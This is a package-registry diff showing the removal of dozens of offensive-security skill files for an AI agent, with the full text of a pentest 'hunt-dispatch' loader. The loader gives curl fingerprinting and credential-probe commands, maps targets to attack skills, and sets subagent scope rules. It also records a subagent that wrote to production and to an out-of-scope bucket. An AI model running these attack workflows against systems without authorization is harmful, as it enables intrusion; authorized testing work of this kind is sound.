@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/bundled/bug-hunter/SKILL.md +7 -0
  2. package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
  3. package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
  4. package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
  5. package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
  6. package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
  7. package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
  8. package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
  9. package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
  10. package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
  11. package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
  12. package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
  13. package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
  14. package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
  15. package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
  16. package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
  17. package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
  18. package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
  19. package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
  20. package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
  21. package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
  22. package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
  23. package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
  24. package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
  25. package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
  26. package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
  27. package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
  28. package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
  29. package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
  30. package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
  31. package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
  32. package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
  33. package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
  34. package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
  35. package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
  36. package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
  37. package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
  38. package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
  39. package/cli.js +1 -1
  40. package/package.json +2 -2
  41. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
  42. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
  43. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
  44. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
  45. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
  46. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
  47. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
  48. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
  49. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
  50. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
  51. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
  52. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
  53. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
  54. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
  55. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
  56. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
  57. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
  58. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
  59. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
  60. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
  61. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
  62. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
  63. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
  64. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
  65. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
  66. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
  67. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
  68. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
  69. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
  70. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
  71. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
  72. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
  73. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
  74. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
  75. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
  76. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
  77. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
  78. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
  79. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
  80. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
  81. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
  82. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
  83. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
  84. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
  85. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
  86. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
  87. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
  88. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
  89. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
  90. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
  91. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
  92. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
  93. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
  94. package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
  95. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
  96. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
  97. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
  98. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
  99. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
  100. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
  101. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
  102. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
  103. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
  104. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
  105. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
  106. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
  107. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
  108. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
  109. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
  110. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
  111. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
  112. package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
  113. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
  114. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
  115. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
  116. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
  117. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
  118. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
  119. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
  120. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
  121. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
  122. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
  123. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
  124. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
  125. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
  126. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
  127. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
  128. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
  129. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
  130. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  131. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
  132. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
  133. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
  134. package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
  135. package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
  136. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
  137. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
  138. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
  139. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
  140. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
  141. package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
  142. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
  143. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
  144. package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
  145. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
  146. package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
  147. package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
@@ -1,380 +0,0 @@
1
- ---
2
- name: hunt-dispatch
3
- description: Skill-set loader for /hunt orchestrator. Fingerprints the target, picks the right platform attack skills, and loads the Red Team or WAPT skill set. Use when /hunt has just received a mode answer (redteam or wapt + blackbox|greybox) and needs to load the appropriate skills and print the taxonomy. Not for direct user invocation.
4
- sources: community
5
- report_count: 0
6
- ---
7
-
8
- # hunt-dispatch
9
-
10
- skill-set loader for `/hunt`. one concept (which skills to load), one place.
11
-
12
- ## engagement context
13
-
14
- every skill loaded below operates under one frame, and it holds for the whole session:
15
-
16
- - **authorized and scope-bounded.** the operator asserted written authorization for the named scope
17
- when they invoked `/hunt`. testing stays inside it. an out-of-scope host ends the run — it does not
18
- widen it.
19
- - **the output is a finding, not an exploit.** the deliverable is a reproducible proof that a defect
20
- exists, written so the owner can remediate it. enough to demonstrate impact; no further.
21
- - **remediation is the point.** these skills exist so defects get fixed by the people who own them.
22
-
23
- this frame is stated here because it is the choke point every `/hunt` run passes through before any
24
- `hunt-*` skill loads. it is not a prompt and needs no answer.
25
-
26
- invocation contract:
27
-
28
- ```
29
- hunt-dispatch mode=redteam
30
- hunt-dispatch mode=wapt box=blackbox
31
- hunt-dispatch mode=wapt box=greybox
32
- ```
33
-
34
- ## step 0 — 404 baseline (ALL modes, mandatory, before any enumeration)
35
-
36
- run this for **every** host before probing a single path. it takes one request per
37
- host and it is the cheapest false-positive kill in the whole toolkit.
38
-
39
- many modern estates (SPA / Next.js / React front ends behind a CDN) return
40
- **HTTP 200 with the application shell for paths that do not exist**. a status code
41
- therefore proves nothing. without a recorded control, `/.well-known/security.txt`,
42
- `/api/revalidate`, `/__nextjs_original-stack-frame` and `/__nextjs_launch-editor`
43
- all "exist" on a host where none of them do.
44
-
45
- ```bash
46
- for H in $HOSTS; do
47
- # two independent bogus paths — if they agree, that IS the soft-404 signature
48
- for P in /zzz-nope-12345 /qqq-other-98765; do
49
- printf "%-34s %-20s " "$H" "$P"
50
- curl -sk -m 12 -o /tmp/b -w "%{http_code} %{size_download} " "https://$H$P"
51
- shasum /tmp/b | cut -c1-12
52
- done
53
- done
54
- ```
55
-
56
- record per host: **status, byte length, body hash**. that triple is the control.
57
-
58
- **the rule: no path is "found" until its response differs from the control.**
59
- a 200 that matches the control hash is a soft 404. a 404 whose body differs from
60
- the control may be a real handler. compare bodies, never status codes alone.
61
-
62
- re-derive the baseline per host — it differs across an estate. one engagement saw
63
- two hosts serving the *same* application return soft-404 bodies of wildly different
64
- size, so a control taken from one host would have been meaningless on the other.
65
- also re-derive it **per path depth** where a framework renders different fallbacks
66
- for `/x` and `/a/b/x`.
67
-
68
- edge pages are not origin findings: a CDN "Access Denied" / "Unsupported Request"
69
- body means the request never reached the application. classify it as edge
70
- behaviour and move on.
71
-
72
- ## step 1 — fingerprint (red team only)
73
-
74
- fingerprint **every** live host, not just the apex. for multi-host / wildcard
75
- targets the platform-skill routing must be driven by all banners, not one host's.
76
-
77
- use `-L` (follow redirects) — identity-provider and CDN signals
78
- (`login.microsoftonline.com`, `okta`, `auth0`, CDN banners) routinely sit
79
- behind a 30x, so a no-redirect `curl -sI` silently misses those matches. pull
80
- both headers and the landing-page HTML (`__NEXT_DATA__`, `VIEWSTATE`,
81
- `laravel_session`, `Ignition`, framework markers live in the body, not headers).
82
-
83
- ```bash
84
- HOSTS="$TARGET"
85
- if [ -f "recon/$TARGET/live-hosts.txt" ]; then
86
- HOSTS=$(cat "recon/$TARGET/live-hosts.txt")
87
- fi
88
- for H in $HOSTS; do
89
- echo "=== $H ==="
90
- # -L follow redirects, -D - dump headers, -o body; cap body to keep context small
91
- curl -sSL -m 12 -D - -o /tmp/fp_body "https://$H" 2>/dev/null | tr -d '\r'
92
- # surface body-only platform markers
93
- grep -aoE '__NEXT_DATA__|/_next/|VIEWSTATE|rO0[AB]|laravel_session|Ignition|Telescope|Whitelabel|/actuator|application/grpc|socket\.io|swagger|\.js\.map' \
94
- /tmp/fp_body | sort -u
95
- done
96
- rm -f /tmp/fp_body
97
- ```
98
-
99
- if `live-hosts.txt` is absent, the loop still runs once against `$TARGET`. record
100
- which signal came from which host — a platform skill matched on host B does not
101
- imply host A runs that stack.
102
-
103
- look for the following signals → platform skill mapping:
104
-
105
- ```
106
- okta.com | auth0.com | pingidentity → okta-attack
107
- login.microsoftonline.com | outlook | sts → m365-entra-attack
108
- pulse | fortinet | ivanti | citrix → enterprise-vpn-attack
109
- vsphere | vcenter | :9443 → vmware-vcenter-attack
110
- amazonaws | azure | googleapis | gcp → cloud-iam-deep
111
- github.com/<org>/ → supply-chain-attack-recon
112
- .apk | play.google.com → apk-redteam-pipeline
113
- MongoDB | mongoose | CouchDB | Redis → hunt-nosqli
114
- ?page= | ?file= | ?path= | php wrapper → hunt-lfi
115
- rO0A | VIEWSTATE | rememberMe cookie → hunt-deserialization
116
- Access-Control-Allow-Origin header → hunt-cors
117
- /forgot-password | /reset | X-Forwarded → hunt-host-header
118
- ?redirect= | ?next= | ?return= | ?url= → hunt-open-redirect
119
- OTP | /verify | /2fa | no-rate-limit → hunt-brute-force
120
- Set-Cookie session | PHPSESSID → hunt-session
121
- Active Directory | LDAP | OpenLDAP | ADFS → hunt-ldap
122
- __NEXT_DATA__ | /_next/ | buildId → hunt-nextjs
123
- X-Powered-By: Express | Node.js | .js stack → hunt-nodejs
124
- postMessage | dangerouslySetInnerHTML → hunt-dom
125
- WebSocket | ws:// | socket.io → hunt-websocket
126
- gRPC | :50051 | application/grpc → hunt-grpc
127
- laravel_session | Ignition | Telescope → hunt-laravel
128
- X-Application-Context | Whitelabel | /actuator → hunt-springboot
129
- :6443 | :10250 | :2379 | kubectl → hunt-k8s
130
- .github/workflows | Jenkins | GitLab CI → hunt-cicd
131
- .js.map | swagger.json | /.env → hunt-source-leak
132
- HSTS missing | SPF | DMARC | AXFR → hunt-tls-network
133
- ```
134
-
135
- ### conflict resolution & load budget
136
-
137
- real targets almost always return multiple signals at once — e.g. a single host
138
- can show Cloudflare (CDN) + `login.microsoftonline.com` (redirect) + `__NEXT_DATA__`
139
- (Next.js front end) + `amazonaws` (origin) simultaneously. loading every match
140
- blindly can pull 20-plus skills and blow the context window, drowning the
141
- high-signal skill in noise. apply this precedence and cap:
142
-
143
- **priority order (load highest tiers first, stop at the cap):**
144
-
145
- ```
146
- tier 1 identity / SSO fabric okta-attack, m365-entra-attack
147
- (own the auth boundary — highest blast radius if compromised)
148
- tier 2 perimeter appliances enterprise-vpn-attack, vmware-vcenter-attack
149
- (pre-auth RCE / direct internal foothold)
150
- tier 3 cloud / IAM cloud-iam-deep, hunt-cloud-misconfig
151
- (credential → lateral movement)
152
- tier 4 app framework / stack hunt-nextjs, hunt-nodejs, hunt-laravel,
153
- hunt-springboot, hunt-aspnet, hunt-sharepoint
154
- tier 5 protocol / class signals hunt-nosqli, hunt-lfi, hunt-deserialization,
155
- hunt-cors, hunt-host-header, hunt-open-redirect, hunt-grpc,
156
- hunt-websocket, hunt-dom, hunt-k8s, hunt-cicd, hunt-source-leak,
157
- hunt-tls-network, hunt-ldap, hunt-brute-force, hunt-session
158
- ```
159
-
160
- **load budget: cap platform-skill loads at 8.** if more than 8 match, keep the
161
- highest-tier 8 and drop the rest; print the dropped ones under
162
- `deferred:` in the taxonomy block so they can be loaded on demand later.
163
-
164
- **de-dup rules (avoid loading two skills for the same evidence):**
165
-
166
- - CDN banner alone (Cloudflare/Akamai/Fastly) is **not** a platform match — it
167
- fingerprints the edge, not the app. do not load a skill for it; note it for
168
- `hunt-cache-poison` / `hunt-http-smuggling`, which the mode set already carries.
169
- - `amazonaws` / `azure` / `googleapis` in a **header/origin** → `cloud-iam-deep`.
170
- the same string found as a **leaked key/JSON in a JS bundle or APK** → still
171
- `cloud-iam-deep`, but flag it as a live-credential lead (higher priority, tier 3
172
- becomes tier 1 for that host).
173
- - a framework marker (`__NEXT_DATA__`, `laravel_session`) and a generic class
174
- signal (`?redirect=`, `Access-Control-Allow-Origin`) on the same host → load the
175
- framework skill (tier 4) and keep the class skill **only if budget remains**;
176
- the WAPT/redteam mode set already loads the common class skills unconditionally.
177
-
178
- ## step 2 — load skill set
179
-
180
- invoke each skill in order via the Skill tool.
181
-
182
- ### mode=redteam
183
-
184
- always-on (load first):
185
-
186
- ```
187
- redteam-mindset
188
- mid-engagement-ir-detection
189
- ```
190
-
191
- platform (load second, conditional on fingerprint matches from step 1):
192
-
193
- ```
194
- okta-attack
195
- m365-entra-attack
196
- enterprise-vpn-attack
197
- vmware-vcenter-attack
198
- cloud-iam-deep
199
- supply-chain-attack-recon
200
- apk-redteam-pipeline
201
- ```
202
-
203
- high-impact hunt-* set (load third):
204
-
205
- ```
206
- hunt-rce
207
- hunt-sqli
208
- hunt-ssrf
209
- hunt-ato
210
- hunt-auth-bypass
211
- hunt-saml
212
- hunt-oauth
213
- hunt-mfa-bypass
214
- hunt-file-upload
215
- hunt-http-smuggling
216
- hunt-cloud-misconfig
217
- hunt-sharepoint
218
- hunt-aspnet
219
- ```
220
-
221
- report format: `redteam-report-template` (subject / observations / description / impact / recommendation / poc).
222
-
223
- ### mode=wapt
224
-
225
- always-on:
226
-
227
- ```
228
- bb-methodology
229
- security-arsenal
230
- triage-validation
231
- ```
232
-
233
- full hunt-* set (all OWASP-relevant):
234
-
235
- ```
236
- hunt-xss hunt-sqli hunt-ssrf hunt-idor
237
- hunt-csrf hunt-xxe hunt-rce hunt-graphql
238
- hunt-oauth hunt-saml hunt-mfa-bypass hunt-auth-bypass
239
- hunt-ato hunt-file-upload hunt-business-logic hunt-race-condition
240
- hunt-llm-ai hunt-api-misconfig hunt-ssti hunt-cache-poison
241
- hunt-http-smuggling hunt-subdomain hunt-cloud-misconfig hunt-misc
242
- hunt-aspnet hunt-sharepoint hunt-ntlm-info
243
- hunt-lfi hunt-nosqli hunt-deserialization
244
- hunt-cors hunt-host-header hunt-open-redirect
245
- hunt-brute-force hunt-session hunt-ldap
246
- hunt-nextjs hunt-nodejs hunt-dom
247
- hunt-websocket hunt-grpc hunt-laravel
248
- hunt-springboot hunt-k8s hunt-cicd
249
- hunt-source-leak hunt-tls-network
250
- hunt-jwt-crypto hunt-forgot-password hunt-captcha-bypass
251
- hunt-shadow-api hunt-spa-api hunt-fintech-graphql
252
- hunt-clickjacking hunt-html-injection
253
- hunt-rag-vector hunt-exceptional-conditions
254
- ```
255
-
256
- report format: `report-writing` (`bugcrowd-reporting` if the target is on bugcrowd).
257
-
258
- box=greybox: creds already captured by `/hunt`, available in session memory.
259
-
260
- **do not fan out across the authenticated hunt-\* set until the creds are
261
- validated.** `/hunt` only prompts for and stores creds (commands/hunt.md) — it
262
- does not confirm they work. firing every authenticated test with dead, MFA-gated,
263
- or wrong-role creds wastes the whole run and produces false "no auth surface"
264
- conclusions. run a single low-cost auth preflight first:
265
-
266
- ```bash
267
- # session-cookie creds: one authenticated GET against an identity echo endpoint
268
- curl -sS -m 12 -b "$SESSION_COOKIE" "https://$TARGET/api/me" -w '\n%{http_code}\n'
269
- # 200 + your username/email → live session, role visible in body
270
- # 401/403 → dead or insufficient — STOP, re-auth
271
-
272
- # bearer/JWT creds: same probe with Authorization
273
- curl -sS -m 12 -H "Authorization: Bearer $TOKEN" \
274
- "https://$TARGET/api/me" -w '\n%{http_code}\n'
275
-
276
- # raw user/pass: drive the real login flow once, capture Set-Cookie, then echo
277
- # watch for an MFA / step-up challenge in the response — if present, the creds
278
- # alone do not yield an authenticated session (see memory: operator-capability)
279
- ```
280
-
281
- confirm three things from the preflight, and record them for the hunt-\* skills:
282
-
283
- 1. **live** — auth probe returns 200, not 401/403.
284
- 2. **role/privilege** — the `/api/me` (or equivalent) body shows the expected
285
- role/tenant/scopes. IDOR and authz tests need a known baseline identity; a
286
- silently-admin or silently-readonly cred skews every authz finding.
287
- 3. **not MFA-gated** — login did not stop at a 2fa/step-up challenge. if it did,
288
- you hold creds but **not** a session — default to least capability and confirm
289
- with the operator before claiming authenticated reach.
290
-
291
- if the preflight fails, do **not** silently continue as blackbox — surface
292
- "greybox creds did not validate (HTTP {code} / MFA challenge)" so the operator
293
- can re-supply. only after a clean preflight: apply the validated session to every
294
- authenticated test.
295
-
296
- ## step 3 — taxonomy print (once, at session start)
297
-
298
- emit a deterministic block. plain text, lowercase, colon-delimited, no decoration.
299
-
300
- ### mode=redteam
301
-
302
- ```
303
- loaded for red team: {N} skills
304
- mindset: redteam-mindset
305
- platform: {fingerprint-matched skills (<=8, tier order), or "none detected"}
306
- deferred: {platform skills past the 8-cap, or omit line if none}
307
- auth: hunt-ato, hunt-auth-bypass, hunt-saml, hunt-oauth, hunt-mfa-bypass
308
- inj: hunt-rce, hunt-sqli, hunt-ssrf, hunt-file-upload
309
- infra: hunt-http-smuggling, hunt-cloud-misconfig
310
- stack: hunt-sharepoint, hunt-aspnet
311
- ir: mid-engagement-ir-detection
312
- ```
313
-
314
- ### mode=wapt
315
-
316
- ```
317
- loaded for wapt ({blackbox|greybox}): {N} skills
318
- inj: hunt-xss, hunt-sqli, hunt-ssrf, hunt-rce, hunt-xxe, hunt-ssti, hunt-file-upload
319
- authz: hunt-idor, hunt-auth-bypass, hunt-ato
320
- auth: hunt-oauth, hunt-saml, hunt-mfa-bypass
321
- api: hunt-graphql, hunt-api-misconfig
322
- logic: hunt-business-logic, hunt-race-condition
323
- infra: hunt-http-smuggling, hunt-cache-poison
324
- recon: hunt-subdomain
325
- cloud: hunt-cloud-misconfig
326
- ai: hunt-llm-ai
327
- stack: hunt-aspnet, hunt-sharepoint, hunt-ntlm-info
328
- misc: hunt-misc, hunt-csrf
329
- reporting: bb-methodology, security-arsenal, triage-validation
330
- ```
331
-
332
- ## subagent scope inheritance
333
-
334
- if any part of the hunt is delegated to subagents, scope does **not** inherit
335
- implicitly. every subagent prompt must carry:
336
-
337
- 1. **the authorized host list, verbatim, as data.** not "the target estate", not
338
- "*.target.com" — the explicit list. a subagent cannot infer the boundary.
339
- 2. **the discovered-host rule:** hosts found mid-run (via CT logs, CSP headers,
340
- JS bundles, CNAME chains, error messages) are **report-only**. resolve DNS,
341
- record, hand back. never probe, never write, until the operator re-authorizes.
342
- 3. **a deny-list of action-executing endpoints, applied BEFORE any allow-list.**
343
- deny by verb-in-name first: `refund`, `settle`, `payout`, `transfer`, `adjust`,
344
- `disburse`, `create`, `update`, `delete`, `rotate`, `reset`, `send`, `initiate`,
345
- `generate`, `process`. only then allow read-shaped names. order matters —
346
- a path like `refund/batch/status` matches the read-shaped keyword "status"
347
- but is a refund route; an allow-list applied first would probe it.
348
- 4. **"read-only" spelled out as forbidden verbs**, not as an adjective. "read-only"
349
- is routinely interpreted as "don't be destructive", which does not stop an agent
350
- sending `{}` to an endpoint whose name starts with `generate*` and creating a
351
- real record on production.
352
-
353
- **lesson from an authorized engagement:** a subagent was told READ-ONLY and still
354
- (a) created a live record on production because it expected `{}` to return a
355
- validation error, and (b) wrote an object to a cloud bucket that was never on the
356
- authorized list — one the parent prompt had named only for a DNS check. both were
357
- disclosed in the deliverable. the fix is structural: pass scope as data, deny
358
- by verb before allowing by verb, and treat every discovered host as out of scope
359
- until told otherwise.
360
-
361
- ## step 4 — return control to /hunt
362
-
363
- after taxonomy print, hand control back to `/hunt` for step 3 (sibling delegation) and step 4 (active testing). do not run probes here — this skill only loads context.
364
-
365
- ## privacy
366
-
367
- never echo back, log, or persist:
368
- - SOW / scope-of-work / engagement-letter content
369
- - grey box credentials (kept in session memory by `/hunt`, never written to disk)
370
- - client identifiers in user-level memory
371
-
372
- ---
373
-
374
- ## Related Skills & Chains
375
-
376
- - **`bb-methodology`** — When PART 0 mode confirmation completes. Workflow primitive: `bb-methodology` confirms engagement type (red team vs WAPT vs bug bounty); the answer feeds directly into this skill's `mode=redteam` / `mode=wapt` invocation.
377
- - **`redteam-mindset`** + **`mid-engagement-ir-detection`** — When `mode=redteam` is loaded. Workflow primitive: these are the always-on skills loaded first by step 2 of the redteam flow before any platform skill or hunt-* skill.
378
- - **`okta-attack`** / **`m365-entra-attack`** / **`enterprise-vpn-attack`** / **`vmware-vcenter-attack`** / **`cloud-iam-deep`** / **`supply-chain-attack-recon`** / **`apk-redteam-pipeline`** — When fingerprint signals match. Workflow primitive: step 1's curl fingerprint scan against `recon/<target>/live-hosts.txt` maps banner / domain signals to one or more of these platform skills.
379
- - **`hunt-rce`** / **`hunt-sqli`** / **`hunt-ssrf`** / **`hunt-ato`** / **all other hunt-* skills`** — When the mode-specific skill set is being printed. Workflow primitive: this skill is the loader; it names the hunt-* skills but does not run probes — actual hunting happens after step 4 returns control to `/hunt`.
380
- - **`report-writing`** vs **`redteam-report-template`** — When the taxonomy print specifies the report format. Workflow primitive: `mode=wapt` ends with `report-writing` as the deliverable format; `mode=redteam` ends with `redteam-report-template` instead.
@@ -1,279 +0,0 @@
1
- ---
2
- name: hunt-dom
3
- description: "Hunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests from same-origin script), CSS Injection/Exfiltration (attribute selectors → token char-by-char via OOB), client-side template injection, dangerouslySetInnerHTML. Grounded in named public research: Gareth Heyes / PortSwigger DOM-clobbering + DOM-Invader, Michał Bentkowski DOMPurify clobbering bypasses, jQuery htmlPrefilter XSS (CVE-2020-11022 / CVE-2020-11023), d0nut CSS-exfil research. Use when hunting DOM-XSS, client-side auth bypass, or token exfiltration without server-side interaction."
4
